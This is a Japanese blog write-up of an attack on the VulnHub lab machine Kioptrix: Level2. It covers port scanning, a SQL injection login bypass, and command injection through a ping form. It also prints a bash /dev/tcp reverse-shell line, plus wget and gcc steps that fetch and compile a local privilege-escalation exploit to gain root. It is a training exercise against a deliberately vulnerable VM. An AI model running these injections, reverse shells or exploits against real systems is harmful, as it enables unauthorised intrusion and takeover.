【VulnHub】Kioptrix: Level2

どうも!

 

 

今回は、VulnHubの二つ目のマシンです。

名前はKioptrix: Level2

前回触ったマシンの次レベルのやつでした。

 

 

どのように攻略したかについて記載します。

 

 

 

 

1.偵察

いつものを使ってマシンを特定しました。

% netdiscover -r 192.168.3.10/16

 

その後、nmapで空いているポートおよびサービスを確認しました。

結果、以下のポートが空いていることを確認しました。

% nmap -Pn -A -p- 192.168.3.22

22/tcp

80/tcp

111/tcp

443/tcp

631/tcp

934/tcp

3306/tcp

 

さらに、80番ポートが開いていたため、ブラウザ経由でアクセスしてみました。

結果、ログインページのようなものを見つけました。

 

 

 

2.侵入

偵察で確認できたサービスに関してのぜい弱性を確認しましたが、

侵入に関わるぜい弱性は見つけられませんでした。

 

 

 

次に、ブラウザで表示された画面がログイン画面のようだったので、

IDとPWを適当に入れて、リクエストおよびレスポンスを確認しました。

パラメータをそのまま送っているようなので、

sqlmapを用いて侵入できないかを確認しました。

結果、ORを用いた特定のリクエストを送ることで、

認証を突破できることが判明しました(キャプチャ忘れのため後日上げ直し)。

 

 

 

突破後、特定のホストに対してPINGを投げることができるフォームがあるページにたどり着きました。

OSコマンドインジェクションができそうだったので、試しに以下入力を行うと、

予想通りディレクトリの一覧が返ってきました。

127.0.0.1 | ls -la

 

 

 

この後、lsでフォルダの中身を色々と探ってみましたが、

見つけたファイル群に対して何をするのが適当かがわからず、時間を使ってしまいました。

結局、以下のWalkThroughを読んで、足掛かりをつかむ事にしました。

qiita.com

 

まずは、リバースシェルを行うために以下の形で接続を行いました。

ホスト側:

nc -lvp 8888

 

VM側:

; bash -i>&/dev/tcp/192.168.3.16/8888 0>&1

 

 

 

これによって、手元の端末でVM上の操作が可能になりました。

 

 

 

3.権限昇格

次に、特権昇格を行うためにすべきことを同記事から確認しました。

注目すべきはLinuxのバージョン情報という事で、

cat /etc/redhat-releaseでバージョンを確認しました。 

バージョンはCentOS release 4.5 (Final)でした。 

 

 

 

バージョン特定後、このバージョンのぜい弱性がないかをsearchploitで確認しました。

結果、1件HITしたため、こちらのExploitコードを利用する事にしました。

 9542.c

 

 

 

pythonにより簡易webServerを立ち上げて、Exploitコードを取得しました。

 

ホスト側:

 python -m SimpleHTTPServer 8889

 

MV側:

wget "http://192.168.3.16:8889/tmp/9542.c"

gcc -o exploit.run 9542.c

 

VM上でExploitコードを実行した事で、rootを得ることができました。

これで攻略完了です。

 

 

やってみたところですが、

正直途中からWalkThrough通りにやっちゃってたので悔しい・・・。

後CUPSというサービスもあったのですが、ここについてももっと触りたかったなぁと。

時間を作って再度、今度は別のやり方で攻略したいと思いました。

 

 

 

ちなみにサイト上ではFlagがtextであるっぽい記載があったのですが、

もしかして、まだ攻略おわってない・・・?

 

 

 

そして今回の攻略で、自分に足りていないものが色々わかりました。

・リバースシェルの具体的なペイロードについて

・sqlmapを使わないログイン画面攻略手法

・ユーザログイン後の権限昇格手法

 

以上。